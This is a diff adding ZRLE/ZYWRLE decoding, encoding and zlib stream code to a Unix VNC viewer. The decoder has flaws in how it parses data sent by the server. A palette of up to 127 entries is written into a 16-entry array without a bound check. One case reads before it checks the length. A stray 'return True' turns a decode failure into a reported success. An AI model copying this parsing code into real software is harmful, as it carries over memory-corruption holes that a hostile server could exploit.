-+
-+ decompStreamInited = True;
-+
-+ }
-+
-+ inflateResult = Z_OK;
-+
-+ /* Process buffer full of data until no more to process, or
-+ * some type of inflater error, or Z_STREAM_END.
-+ */
-+ while (( remaining > 0 ) &&
-+ ( inflateResult == Z_OK )) {
-+
-+ if ( remaining > BUFFER_SIZE ) {
-+ toRead = BUFFER_SIZE;
-+ }
-+ else {
-+ toRead = remaining;
-+ }
-+
-+ /* Fill the buffer, obtaining data from the server. */
-+ if (!ReadFromRFBServer(buffer,toRead))
-+ return False;
-+
-+ decompStream.next_in = ( Bytef * )buffer;
-+ decompStream.avail_in = toRead;
-+
-+ /* Need to uncompress buffer full. */
-+ inflateResult = inflate( &decompStream, Z_SYNC_FLUSH );
-+
-+ /* We never supply a dictionary for compression. */
-+ if ( inflateResult == Z_NEED_DICT ) {
-+ fprintf(stderr, "zlib inflate needs a dictionary!\n");
-+ return False;
-+ }
-+ if ( inflateResult < 0 ) {
-+ fprintf(stderr,
-+ "zlib inflate returned error: %d, msg: %s\n",
-+ inflateResult,
-+ decompStream.msg);
-+ return False;
-+ }
-+
-+ /* Result buffer allocated to be at least large enough. We should
-+ * never run out of space!
-+ */
-+ if (( decompStream.avail_in > 0 ) &&
-+ ( decompStream.avail_out <= 0 )) {
-+ fprintf(stderr, "zlib inflate ran out of space!\n");
-+ return False;
-+ }
-+
-+ remaining -= toRead;
-+
-+ } /* while ( remaining > 0 ) */
-+
-+ if ( inflateResult == Z_OK ) {
-+ void* buf=raw_buffer;
-+ int i,j;
-+
-+ remaining = raw_buffer_size-decompStream.avail_out;
-+
-+ for(j=0; j<rh; j+=rfbZRLETileHeight)
-+ for(i=0; i<rw; i+=rfbZRLETileWidth) {
-+ int subWidth=(i+rfbZRLETileWidth>rw)?rw-i:rfbZRLETileWidth;
-+ int subHeight=(j+rfbZRLETileHeight>rh)?rh-j:rfbZRLETileHeight;
-+ int result=HandleZRLETile(buf,remaining,rx+i,ry+j,subWidth,subHeight);
-+
-+ if(result<0) {
-+ fprintf(stderr, "ZRLE decoding failed (%d)\n",result);
-+return True;
-+ return False;
-+ }
-+
-+ buf+=result;
-+ remaining-=result;
-+ }
-+ }
-+ else {
-+
-+ fprintf(stderr,
-+ "zlib inflate returned error: %d, msg: %s\n",
-+ inflateResult,
-+ decompStream.msg);
-+ return False;
-+
-+ }
-+
-+ return True;
-+}
-+
-+#if REALBPP!=BPP && defined(UNCOMP) && UNCOMP!=0
-+# if BPP == 32 && IS_BIG_ENDIAN
-+# define UncompressCPixel(p) ( (*p << myFormat.redShift) | (*(p+1) << myFormat.greenShift) | (*(p+2) << myFormat.blueShift) )
-+# else
-+# if UNCOMP>0
-+# define UncompressCPixel(pointer) ((*(CARDBPP*)pointer)>>UNCOMP)
-+# else
-+# define UncompressCPixel(pointer) ((*(CARDBPP*)pointer)<<(-(UNCOMP)))
-+# endif
-+# endif
-+#else
-+# define UncompressCPixel(pointer) (*(CARDBPP*)pointer)
-+#endif
-+
-+extern XImage *image;
-+extern XImage *image_scale;
-+extern int skip_maybe_sync;
-+
-+static int HandleZRLETile(
-+ unsigned char* buffer,size_t buffer_length,
-+ int x,int y,int w,int h) {
-+ unsigned char* buffer_copy = buffer;
-+ unsigned char* buffer_end = buffer+buffer_length;
-+ unsigned char type;
-+
-+ if(buffer_length<1)
-+ return -2;
-+
-+ if (frameBufferLen < w * h * BPP/8) {
-+ if(frameBuffer) {
-+ free(frameBuffer);
-+ }
-+ frameBufferLen = w * h * BPP/8 * 2;
-+ frameBuffer = (unsigned char *) malloc(frameBufferLen);
-+ }
-+
-+zywrle_top:
-+ type = *buffer;
-+ buffer++;
-+ switch(type) {
-+ case 0: /* raw */
-+ {
-+#if DO_ZYWRLE && BPP != 8
-+ if (zywrle_level > 0 && !(zywrle_level & 0x80) ) {
-+ zywrle_level |= 0x80;
-+ goto zywrle_top;
-+ } else
-+#endif
-+ {
-+#if REALBPP!=BPP
-+ int m0 = 0, i,j;
-+
-+
-+ if(1+w*h*REALBPP/8>buffer_length) {
-+ fprintf(stderr, "expected %d bytes, got only %d (%dx%d)\n",1+w*h*REALBPP/8,buffer_length,w,h);
-+ return -3;
-+ }
-+
-+ for(j=y*si.framebufferWidth; j<(y+h)*si.framebufferWidth; j+=si.framebufferWidth) {
-+ for(i=x; i<x+w; i++,buffer+=REALBPP/8) {
-+# if 0
-+ ((CARDBPP*)frameBuffer)[j+i] = UncompressCPixel(buffer);
-+ /* alt */
-+ CARDBPP color = UncompressCPixel(buffer);
-+ CopyDataToScreen((char *)&color, i, j/si.framebufferWidth, 1, 1);
-+# else
-+ ((CARDBPP*)frameBuffer)[m0++] = UncompressCPixel(buffer);
-+# endif
-+ }
-+ }
-+ CopyDataToScreen((char *)frameBuffer, x, y, w, h);
-+if (0) fprintf(stderr, "cha1: %dx%d+%d+%d\n", w, h, x, y);
-+
-+#else
-+# if 0
-+ CopyRectangle(buffer, x, y, w, h);
-+# else
-+ CopyDataToScreen((char *)buffer, x, y, w, h);
-+# endif
-+ buffer+=w*h*REALBPP/8;
-+#endif
-+ }
-+ break;
-+ }
-+ case 1: /* solid */
-+ {
-+ CARDBPP color = UncompressCPixel(buffer);
-+
-+ if(1+REALBPP/8>buffer_length)
-+ return -4;
-+
-+ if ((BPP == 8 && appData.useBGR233) || (BPP == 16 && appData.useBGR565)) {
-+ int m0;
-+ for (m0=0; m0 < w*h; m0++) {
-+ ((CARDBPP*)frameBuffer)[m0] = color;
-+ }
-+ CopyDataToScreen((char *)frameBuffer, x, y, w, h);
-+ } else {
-+ FillRectangle(x, y, w, h, color);
-+ }
-+if (0) fprintf(stderr, "cha2: %dx%d+%d+%d\n", w, h, x, y);
-+
-+ buffer+=REALBPP/8;
-+
-+ break;
-+ }
-+ case 2 ... 127: /* packed Palette */
-+ {
-+ CARDBPP palette[16];
-+ int m0, i,j,shift,
-+ bpp=(type>4?(type>16?8:4):(type>2?2:1)),
-+ mask=(1<<bpp)-1,
-+ divider=(8/bpp);
-+
-+ if(1+type*REALBPP/8+((w+divider-1)/divider)*h>buffer_length)
-+ return -5;
-+
-+ /* read palette */
-+ for(i=0; i<type; i++,buffer+=REALBPP/8)
-+ palette[i] = UncompressCPixel(buffer);
-+
-+ m0 = 0;
-+ /* read palettized pixels */
-+ for(j=y*si.framebufferWidth; j<(y+h)*si.framebufferWidth; j+=si.framebufferWidth) {
-+ for(i=x,shift=8-bpp; i<x+w; i++) {
-+# if 0
-+ ((CARDBPP*)frameBuffer)[j+i] = palette[((*buffer)>>shift)&mask];
-+ /* alt */
-+ CARDBPP color = palette[((*buffer)>>shift)&mask];
-+ CopyDataToScreen((char *)&color, i, j/si.framebufferWidth, 1, 1);
-+# else
-+ ((CARDBPP*)frameBuffer)[m0++] = palette[((*buffer)>>shift)&mask];
-+# endif
-+ shift-=bpp;
-+ if(shift<0) {
-+ shift=8-bpp;
-+ buffer++;
-+ }
-+ }
-+ if(shift<8-bpp)
-+ buffer++;
-+ }
-+ CopyDataToScreen((char *)frameBuffer, x, y, w, h);
-+if (0) fprintf(stderr, "cha3: %dx%d+%d+%d\n", w, h, x, y);
-+
-+ break;
-+ }
-+ /* case 17 ... 127: not used, but valid */
-+ case 128: /* plain RLE */
-+ {
-+ int m0=0, i=0,j=0;
-+ while(j<h) {
-+ int color,length;
-+ /* read color */
-+ if(buffer+REALBPP/8+1>buffer_end)
-+ return -7;
-+ color = UncompressCPixel(buffer);
-+ buffer+=REALBPP/8;
-+ /* read run length */
-+ length=1;
-+ while(*buffer==0xff) {
-+ if(buffer+1>=buffer_end)
-+ return -8;
-+ length+=*buffer;
-+ buffer++;
-+ }
-+ length+=*buffer;
-+ buffer++;
-+ while(j<h && length>0) {
-+# if 0
-+ ((CARDBPP*)frameBuffer)[(y+j)*si.framebufferWidth+x+i] = color;
-+ /* alt */
-+ CopyDataToScreen((char *)&color, x+i, y+j, 1, 1);
-+# else
-+ ((CARDBPP*)frameBuffer)[m0++] = color;
-+# endif
-+ length--;
-+ i++;
-+ if(i>=w) {
-+ i=0;
-+ j++;
-+ }
-+ }
-+ if(length>0)
-+ fprintf(stderr, "Warning: possible ZRLE corruption\n");
-+ }
-+ CopyDataToScreen((char *)frameBuffer, x, y, w, h);
-+if (0) fprintf(stderr, "cha4: %dx%d+%d+%d\n", w, h, x, y);
-+
-+ break;
-+ }
-+ case 129: /* unused */
-+ {
-+ return -8;
-+ }
-+ case 130 ... 255: /* palette RLE */
-+ {
-+ CARDBPP palette[128];
-+ int m0 = 0, i,j;
-+
-+ if(2+(type-128)*REALBPP/8>buffer_length)
-+ return -9;
-+
-+ /* read palette */
-+ for(i=0; i<type-128; i++,buffer+=REALBPP/8)
-+ palette[i] = UncompressCPixel(buffer);
-+ /* read palettized pixels */
-+ i=j=0;
-+ while(j<h) {
-+ int color,length;
-+ /* read color */
-+ if(buffer>=buffer_end)
-+ return -10;
-+ color = palette[(*buffer)&0x7f];
-+ length=1;
-+ if(*buffer&0x80) {
-+ if(buffer+1>=buffer_end)
-+ return -11;
-+ buffer++;
-+ /* read run length */
-+ while(*buffer==0xff) {
-+ if(buffer+1>=buffer_end)
-+ return -8;
-+ length+=*buffer;
-+ buffer++;
-+ }
-+ length+=*buffer;
-+ }
-+ buffer++;
-+ while(j<h && length>0) {
-+# if 0
-+ ((CARDBPP*)frameBuffer)[(y+j)*si.framebufferWidth+x+i] = color;
-+ /* alt */
-+ CopyDataToScreen((char *)&color, x+i, y+j, 1, 1);
-+# else
-+ ((CARDBPP*)frameBuffer)[m0++] = color;
-+# endif
-+ length--;
-+ i++;
-+ if(i>=w) {
-+ i=0;
-+ j++;
-+ }
-+ }
-+ if(length>0)
-+ fprintf(stderr, "Warning: possible ZRLE corruption\n");
-+ }
-+ CopyDataToScreen((char *)frameBuffer, x, y, w, h);
-+if (0) fprintf(stderr, "cha5: %dx%d+%d+%d\n", w, h, x, y);
-+
-+ break;
-+ }
-+ }
-+
-+#if DO_ZYWRLE && BPP != 8
-+ if (zywrle_level & 0x80) {
-+ int th, tx;
-+ int widthInBytes = w * BPP / 8;
-+ int scrWidthInBytes;
-+ char *scr, *buf;
-+ static CARDBPP *ptmp = NULL;
-+ static int ptmp_len = 0;
-+ XImage *im = image_scale ? image_scale : image;
-+
-+ if (w * h > ptmp_len) {
-+ ptmp_len = w * h;
-+ if (ptmp_len < rfbZRLETileWidth*rfbZRLETileHeight) {
-+ ptmp_len = rfbZRLETileWidth*rfbZRLETileHeight;
-+ }
-+ if (ptmp) {
-+ free(ptmp);
-+ }
-+ ptmp = (CARDBPP *) malloc(ptmp_len * sizeof(CARDBPP));
-+ }
-+
-+ zywrle_level &= 0x7F;
-+ /* Reverse copy: screen to buf/ptmp: */
-+ /* make this CopyDataFromScreen() or something. */
-+ if (!appData.useBGR565) {
-+ scrWidthInBytes = si.framebufferWidth * myFormat.bitsPerPixel / 8;
-+ if (scrWidthInBytes != im->bytes_per_line) scrWidthInBytes = im->bytes_per_line;
-+ scr = im->data + y * scrWidthInBytes + x * myFormat.bitsPerPixel / 8;
-+ buf = (char *) ptmp;
-+
-+ for (th = 0; th < h; th++) {
-+ memcpy(buf, scr, widthInBytes);
-+ buf += widthInBytes;
-+ scr += scrWidthInBytes;
-+ }
-+ } else {
-+ scrWidthInBytes = si.framebufferWidth * 4;
-+ if (scrWidthInBytes != im->bytes_per_line) scrWidthInBytes = im->bytes_per_line;
-+ scr = im->data + y * scrWidthInBytes + x * 4;
-+ buf = (char *) ptmp;
-+
-+ for (th = 0; th < h; th++) {
-+ for (tx = 0; tx < w; tx++) {
-+ unsigned long pix = *((unsigned int *)scr + tx);
-+ unsigned int r1 = (pix & 0xff0000) >> 16;
-+ unsigned int g1 = (pix & 0x00ff00) >> 8;
-+ unsigned int b1 = (pix & 0x0000ff) >> 0;
-+ int r2, g2, b2, idx;
-+ int rok = 0, gok = 0, bok = 0, is0, sh = 10;
-+ r2 = (31 * r1)/255;
-+ g2 = (63 * g1)/255;
-+ b2 = (31 * b1)/255;
-+ for (is0 = 0; is0 < sh; is0++) {
-+ int is, i, t;
-+ for (i = 0; i < 2; i++) {
-+ if (i == 0) {
-+ is = -is0;
-+ } else {
-+ is = +is0;
-+ }
-+ if (!rok) {
-+ t = r2 + is;
-+ if (r1 == (255 * t)/31) {
-+ r2 = t; rok = 1;
-+ }
-+ }
-+ if (!gok) {
-+ t = g2 + is;
-+ if (g1 == (255 * t)/63) {
-+ g2 = t; gok = 1;
-+ }
-+ }
-+ if (!bok) {
-+ t = b2 + is;
-+ if (b1 == (255 * t)/31) {
-+ b2 = t; bok = 1;
-+ }
-+ }
-+ }
-+ if (rok && gok && bok) {
-+ break;
-+ }
-+ }
-+ idx = (r2 << 11) | (g2 << 5) | (b2 << 0);
-+ *((CARDBPP *)buf + tx) = (CARDBPP) idx;
-+ }
-+ buf += widthInBytes;
-+ scr += scrWidthInBytes;
-+ }
-+ }
-+ ZYWRLE_SYNTHESIZE((PIXEL_T *)ptmp, (PIXEL_T *)ptmp, w, h, w, zywrle_level, zywrleBuf );
-+ skip_maybe_sync = 1;
-+
-+ if (appData.yCrop > 0) {
-+ skip_maybe_sync = 0;
-+ }
-+ CopyDataToScreen((char *)ptmp, x, y, w, h);
-+
-+ }
-+#endif
-+
-+ return buffer-buffer_copy;
-+}
-+
-+#undef CARDBPP
-+#undef CARDREALBPP
-+#undef HandleZRLE
-+#undef HandleZRLETile
-+#undef UncompressCPixel
-+#undef REALBPP
-+
-+#undef UNCOMP
-+
-+#undef FillRectangle
-+#undef IS_BIG_ENDIAN
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrleencodetemplate.c vnc_unixsrc/vncviewer/zrleencodetemplate.c
---- vnc_unixsrc.orig/vncviewer/zrleencodetemplate.c 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrleencodetemplate.c 2007-02-04 23:18:09.000000000 -0500
-@@ -0,0 +1,317 @@
-+/*
-+ * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
-+ * Copyright (C) 2003 Sun Microsystems, Inc.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+/*
-+ * Before including this file, you must define a number of CPP macros.
-+ *
-+ * BPP should be 8, 16 or 32 depending on the bits per pixel.
-+ * GET_IMAGE_INTO_BUF should be some code which gets a rectangle of pixel data
-+ * into the given buffer. EXTRA_ARGS can be defined to pass any other
-+ * arguments needed by GET_IMAGE_INTO_BUF.
-+ *
-+ * Note that the buf argument to ZRLE_ENCODE needs to be at least one pixel
-+ * bigger than the largest tile of pixel data, since the ZRLE encoding
-+ * algorithm writes to the position one past the end of the pixel data.
-+ */
-+
-+#include "zrleoutstream.h"
-+#include "zrlepalettehelper.h"
-+#include <assert.h>
-+
-+/* __RFB_CONCAT2 concatenates its two arguments. __RFB_CONCAT2E does the same
-+ but also expands its arguments if they are macros */
-+
-+#ifndef __RFB_CONCAT2E
-+#define __RFB_CONCAT2(a,b) a##b
-+#define __RFB_CONCAT2E(a,b) __RFB_CONCAT2(a,b)
-+#endif
-+
-+#ifndef __RFB_CONCAT3E
-+#define __RFB_CONCAT3(a,b,c) a##b##c
-+#define __RFB_CONCAT3E(a,b,c) __RFB_CONCAT3(a,b,c)
-+#endif
-+
-+#undef END_FIX
-+#if ZYWRLE_ENDIAN == ENDIAN_LITTLE
-+# define END_FIX LE
-+#elif ZYWRLE_ENDIAN == ENDIAN_BIG
-+# define END_FIX BE
-+#else
-+# define END_FIX NE
-+#endif
-+
-+#ifdef CPIXEL
-+#define PIXEL_T __RFB_CONCAT2E(zrle_U,BPP)
-+#define zrleOutStreamWRITE_PIXEL __RFB_CONCAT2E(zrleOutStreamWriteOpaque,CPIXEL)
-+#define ZRLE_ENCODE __RFB_CONCAT3E(zrleEncode,CPIXEL,END_FIX)
-+#define ZRLE_ENCODE_TILE __RFB_CONCAT3E(zrleEncodeTile,CPIXEL,END_FIX)
-+#define BPPOUT 24
-+#elif BPP==15
-+#define PIXEL_T __RFB_CONCAT2E(zrle_U,16)
-+#define zrleOutStreamWRITE_PIXEL __RFB_CONCAT2E(zrleOutStreamWriteOpaque,16)
-+#define ZRLE_ENCODE __RFB_CONCAT3E(zrleEncode,BPP,END_FIX)
-+#define ZRLE_ENCODE_TILE __RFB_CONCAT3E(zrleEncodeTile,BPP,END_FIX)
-+#define BPPOUT 16
-+#else
-+#define PIXEL_T __RFB_CONCAT2E(zrle_U,BPP)
-+#define zrleOutStreamWRITE_PIXEL __RFB_CONCAT2E(zrleOutStreamWriteOpaque,BPP)
-+#define ZRLE_ENCODE __RFB_CONCAT3E(zrleEncode,BPP,END_FIX)
-+#define ZRLE_ENCODE_TILE __RFB_CONCAT3E(zrleEncodeTile,BPP,END_FIX)
-+#define BPPOUT BPP
-+#endif
-+
-+#ifndef ZRLE_ONCE
-+#define ZRLE_ONCE
-+
-+static const int bitsPerPackedPixel[] = {
-+ 0, 1, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
-+};
-+
-+int zywrle_level;
-+int zywrleBuf[rfbZRLETileWidth*rfbZRLETileHeight];
-+
-+static zrlePaletteHelper paletteHelper;
-+
-+#endif /* ZRLE_ONCE */
-+
-+void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, zrleOutStream* os);
-+
-+#if BPP!=8
-+#define ZYWRLE_ENCODE
-+#include "zywrletemplate.c"
-+#endif
-+
-+static void ZRLE_ENCODE (int x, int y, int w, int h,
-+ zrleOutStream* os, void* buf
-+ EXTRA_ARGS
-+ )
-+{
-+ int ty;
-+ for (ty = y; ty < y+h; ty += rfbZRLETileHeight) {
-+ int tx, th = rfbZRLETileHeight;
-+ if (th > y+h-ty) th = y+h-ty;
-+ for (tx = x; tx < x+w; tx += rfbZRLETileWidth) {
-+ int tw = rfbZRLETileWidth;
-+ if (tw > x+w-tx) tw = x+w-tx;
-+
-+ GET_IMAGE_INTO_BUF(tx,ty,tw,th,buf);
-+
-+ ZRLE_ENCODE_TILE((PIXEL_T*)buf, tw, th, os);
-+ }
-+ }
-+ zrleOutStreamFlush(os);
-+}
-+
-+
-+void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, zrleOutStream* os)
-+{
-+ /* First find the palette and the number of runs */
-+
-+ zrlePaletteHelper *ph;
-+
-+ int runs = 0;
-+ int singlePixels = 0;
-+
-+ rfbBool useRle;
-+ rfbBool usePalette;
-+
-+ int estimatedBytes;
-+ int plainRleBytes;
-+ int i;
-+
-+ PIXEL_T* ptr = data;
-+ PIXEL_T* end = ptr + h * w;
-+ *end = ~*(end-1); /* one past the end is different so the while loop ends */
-+
-+ ph = &paletteHelper;
-+ zrlePaletteHelperInit(ph);
-+
-+ while (ptr < end) {
-+ PIXEL_T pix = *ptr;
-+ if (*++ptr != pix) {
-+ singlePixels++;
-+ } else {
-+ while (*++ptr == pix) ;
-+ runs++;
-+ }
-+ zrlePaletteHelperInsert(ph, pix);
-+ }
-+
-+ /* Solid tile is a special case */
-+
-+ if (ph->size == 1) {
-+ zrleOutStreamWriteU8(os, 1);
-+ zrleOutStreamWRITE_PIXEL(os, ph->palette[0]);
-+ return;
-+ }
-+
-+ /* Try to work out whether to use RLE and/or a palette. We do this by
-+ estimating the number of bytes which will be generated and picking the
-+ method which results in the fewest bytes. Of course this may not result
-+ in the fewest bytes after compression... */
-+
-+ useRle = FALSE;
-+ usePalette = FALSE;
-+
-+ estimatedBytes = w * h * (BPPOUT/8); /* start assuming raw */
-+
-+#if BPP!=8
-+ if( (zywrle_level>0)&& !(zywrle_level & 0x80) ){
-+ estimatedBytes >>= zywrle_level;
-+ }
-+#endif
-+
-+ plainRleBytes = ((BPPOUT/8)+1) * (runs + singlePixels);
-+
-+ if (plainRleBytes < estimatedBytes) {
-+ useRle = TRUE;
-+ estimatedBytes = plainRleBytes;
-+ }
-+
-+ if (ph->size < 128) {
-+ int paletteRleBytes = (BPPOUT/8) * ph->size + 2 * runs + singlePixels;
-+
-+ if (paletteRleBytes < estimatedBytes) {
-+ useRle = TRUE;
-+ usePalette = TRUE;
-+ estimatedBytes = paletteRleBytes;
-+ }
-+
-+ if (ph->size < 17) {
-+ int packedBytes = ((BPPOUT/8) * ph->size +
-+ w * h * bitsPerPackedPixel[ph->size-1] / 8);
-+
-+ if (packedBytes < estimatedBytes) {
-+ useRle = FALSE;
-+ usePalette = TRUE;
-+ estimatedBytes = packedBytes;
-+ }
-+ }
-+ }
-+
-+ if (!usePalette) ph->size = 0;
-+
-+ zrleOutStreamWriteU8(os, (useRle ? 128 : 0) | ph->size);
-+
-+ for (i = 0; i < ph->size; i++) {
-+ zrleOutStreamWRITE_PIXEL(os, ph->palette[i]);
-+ }
-+
-+ if (useRle) {
-+
-+ PIXEL_T* ptr = data;
-+ PIXEL_T* end = ptr + w * h;
-+ PIXEL_T* runStart;
-+ PIXEL_T pix;
-+ while (ptr < end) {
-+ int len;
-+ runStart = ptr;
-+ pix = *ptr++;
-+ while (*ptr == pix && ptr < end)
-+ ptr++;
-+ len = ptr - runStart;
-+ if (len <= 2 && usePalette) {
-+ int index = zrlePaletteHelperLookup(ph, pix);
-+ if (len == 2)
-+ zrleOutStreamWriteU8(os, index);
-+ zrleOutStreamWriteU8(os, index);
-+ continue;
-+ }
-+ if (usePalette) {
-+ int index = zrlePaletteHelperLookup(ph, pix);
-+ zrleOutStreamWriteU8(os, index | 128);
-+ } else {
-+ zrleOutStreamWRITE_PIXEL(os, pix);
-+ }
-+ len -= 1;
-+ while (len >= 255) {
-+ zrleOutStreamWriteU8(os, 255);
-+ len -= 255;
-+ }
-+ zrleOutStreamWriteU8(os, len);
-+ }
-+
-+ } else {
-+
-+ /* no RLE */
-+
-+ if (usePalette) {
-+ int bppp;
-+ PIXEL_T* ptr = data;
-+
-+ /* packed pixels */
-+
-+ assert (ph->size < 17);
-+
-+ bppp = bitsPerPackedPixel[ph->size-1];
-+
-+ for (i = 0; i < h; i++) {
-+ zrle_U8 nbits = 0;
-+ zrle_U8 byte = 0;
-+
-+ PIXEL_T* eol = ptr + w;
-+
-+ while (ptr < eol) {
-+ PIXEL_T pix = *ptr++;
-+ zrle_U8 index = zrlePaletteHelperLookup(ph, pix);
-+ byte = (byte << bppp) | index;
-+ nbits += bppp;
-+ if (nbits >= 8) {
-+ zrleOutStreamWriteU8(os, byte);
-+ nbits = 0;
-+ }
-+ }
-+ if (nbits > 0) {
-+ byte <<= 8 - nbits;
-+ zrleOutStreamWriteU8(os, byte);
-+ }
-+ }
-+ } else {
-+
-+ /* raw */
-+
-+#if BPP!=8
-+ if( (zywrle_level>0)&& !(zywrle_level & 0x80) ){
-+ ZYWRLE_ANALYZE( data, data, w, h, w, zywrle_level, zywrleBuf );
-+ zywrle_level |= 0x80;
-+ ZRLE_ENCODE_TILE( data, w, h, os );
-+ zywrle_level &= 0x7F;
-+ }else
-+#endif
-+ {
-+#ifdef CPIXEL
-+ PIXEL_T *ptr;
-+ for (ptr = data; ptr < data+w*h; ptr++) {
-+ zrleOutStreamWRITE_PIXEL(os, *ptr);
-+ }
-+#else
-+ zrleOutStreamWriteBytes(os, (zrle_U8 *)data, w*h*(BPP/8));
-+#endif
-+ }
-+ }
-+ }
-+}
-+
-+#undef PIXEL_T
-+#undef zrleOutStreamWRITE_PIXEL
-+#undef ZRLE_ENCODE
-+#undef ZRLE_ENCODE_TILE
-+#undef ZYWRLE_ENCODE_TILE
-+#undef BPPOUT
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/zrleoutstream.c vnc_unixsrc/vncviewer/zrleoutstream.c
---- vnc_unixsrc.orig/vncviewer/zrleoutstream.c 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/zrleoutstream.c 2005-05-15 10:57:54.000000000 -0400
-@@ -0,0 +1,275 @@
-+/*
-+ * Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
-+ * Copyright (C) 2003 Sun Microsystems, Inc.
-+ *
-+ * This is free software; you can redistribute it and/or modify
-+ * it under the terms of the GNU General Public License as published by
-+ * the Free Software Foundation; either version 2 of the License, or
-+ * (at your option) any later version.
-+ *
-+ * This software is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ * GNU General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public License
-+ * along with this software; if not, write to the Free Software
-+ * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
-+ * USA.
-+ */
-+
-+#include "zrleoutstream.h"
-+#include <stdlib.h>
-+
-+#define ZRLE_IN_BUFFER_SIZE 16384
-+#define ZRLE_OUT_BUFFER_SIZE 1024
-+#undef ZRLE_DEBUG
-+
-+static rfbBool zrleBufferAlloc(zrleBuffer *buffer, int size)
-+{
-+ buffer->ptr = buffer->start = malloc(size);
-+ if (buffer->start == NULL) {
-+ buffer->end = NULL;
-+ return FALSE;
-+ }
-+
-+ buffer->end = buffer->start + size;
-+
-+ return TRUE;
-+}
-+
-+static void zrleBufferFree(zrleBuffer *buffer)
-+{
-+ if (buffer->start)
-+ free(buffer->start);
-+ buffer->start = buffer->ptr = buffer->end = NULL;
-+}
-+
-+static rfbBool zrleBufferGrow(zrleBuffer *buffer, int size)
-+{
-+ int offset;
-+
-+ size += buffer->end - buffer->start;
-+ offset = ZRLE_BUFFER_LENGTH (buffer);
-+
-+ buffer->start = realloc(buffer->start, size);
-+ if (!buffer->start) {
-+ return FALSE;
-+ }
-+
-+ buffer->end = buffer->start + size;
-+ buffer->ptr = buffer->start + offset;
-+
-+ return TRUE;
-+}
-+
-+zrleOutStream *zrleOutStreamNew(void)
-+{
-+ zrleOutStream *os;
-+
-+ os = malloc(sizeof(zrleOutStream));
-+ if (os == NULL)
-+ return NULL;
-+
-+ if (!zrleBufferAlloc(&os->in, ZRLE_IN_BUFFER_SIZE)) {
-+ free(os);
-+ return NULL;
-+ }
-+
-+ if (!zrleBufferAlloc(&os->out, ZRLE_OUT_BUFFER_SIZE)) {
-+ zrleBufferFree(&os->in);
-+ free(os);
-+ return NULL;
-+ }
-+
-+ os->zs.zalloc = Z_NULL;
-+ os->zs.zfree = Z_NULL;
-+ os->zs.opaque = Z_NULL;
-+ if (deflateInit(&os->zs, Z_DEFAULT_COMPRESSION) != Z_OK) {
-+ zrleBufferFree(&os->in);
-+ free(os);
-+ return NULL;
-+ }
-+
-+ return os;
-+}
-+
-+void zrleOutStreamFree (zrleOutStream *os)
-+{
-+ deflateEnd(&os->zs);
-+ zrleBufferFree(&os->in);
-+ zrleBufferFree(&os->out);
-+ free(os);
-+}
-+
-+rfbBool zrleOutStreamFlush(zrleOutStream *os)
-+{
-+ os->zs.next_in = os->in.start;
-+ os->zs.avail_in = ZRLE_BUFFER_LENGTH (&os->in);
-+
-+#ifdef ZRLE_DEBUG
-+ rfbLog("zrleOutStreamFlush: avail_in %d\n", os->zs.avail_in);
-+#endif
-+
-+ while (os->zs.avail_in != 0) {
-+ do {
-+ int ret;
-+
-+ if (os->out.ptr >= os->out.end &&
-+ !zrleBufferGrow(&os->out, os->out.end - os->out.start)) {
-+ rfbLog("zrleOutStreamFlush: failed to grow output buffer\n");
-+ return FALSE;
-+ }
-+
-+ os->zs.next_out = os->out.ptr;
-+ os->zs.avail_out = os->out.end - os->out.ptr;
-+
-+#ifdef ZRLE_DEBUG
-+ rfbLog("zrleOutStreamFlush: calling deflate, avail_in %d, avail_out %d\n",
-+ os->zs.avail_in, os->zs.avail_out);
-+#endif
-+
-+ if ((ret = deflate(&os->zs, Z_SYNC_FLUSH)) != Z_OK) {
-+ rfbLog("zrleOutStreamFlush: deflate failed with error code %d\n", ret);
-+ return FALSE;
-+ }
-+
-+#ifdef ZRLE_DEBUG
-+ rfbLog("zrleOutStreamFlush: after deflate: %d bytes\n",
-+ os->zs.next_out - os->out.ptr);
-+#endif
-+
-+ os->out.ptr = os->zs.next_out;
-+ } while (os->zs.avail_out == 0);
-+ }
-+
-+ os->in.ptr = os->in.start;
-+
-+ return TRUE;
-+}
-+
-+static int zrleOutStreamOverrun(zrleOutStream *os,
-+ int size)
-+{
-+#ifdef ZRLE_DEBUG
-+ rfbLog("zrleOutStreamOverrun\n");
-+#endif
-+
-+ while (os->in.end - os->in.ptr < size && os->in.ptr > os->in.start) {
-+ os->zs.next_in = os->in.start;
-+ os->zs.avail_in = ZRLE_BUFFER_LENGTH (&os->in);
-+
-+ do {
-+ int ret;
-+
-+ if (os->out.ptr >= os->out.end &&
-+ !zrleBufferGrow(&os->out, os->out.end - os->out.start)) {
-+ rfbLog("zrleOutStreamOverrun: failed to grow output buffer\n");
-+ return FALSE;
-+ }
-+
-+ os->zs.next_out = os->out.ptr;
-+ os->zs.avail_out = os->out.end - os->out.ptr;
-+
-+#ifdef ZRLE_DEBUG
-+ rfbLog("zrleOutStreamOverrun: calling deflate, avail_in %d, avail_out %d\n",
-+ os->zs.avail_in, os->zs.avail_out);
-+#endif
-+
-+ if ((ret = deflate(&os->zs, 0)) != Z_OK) {
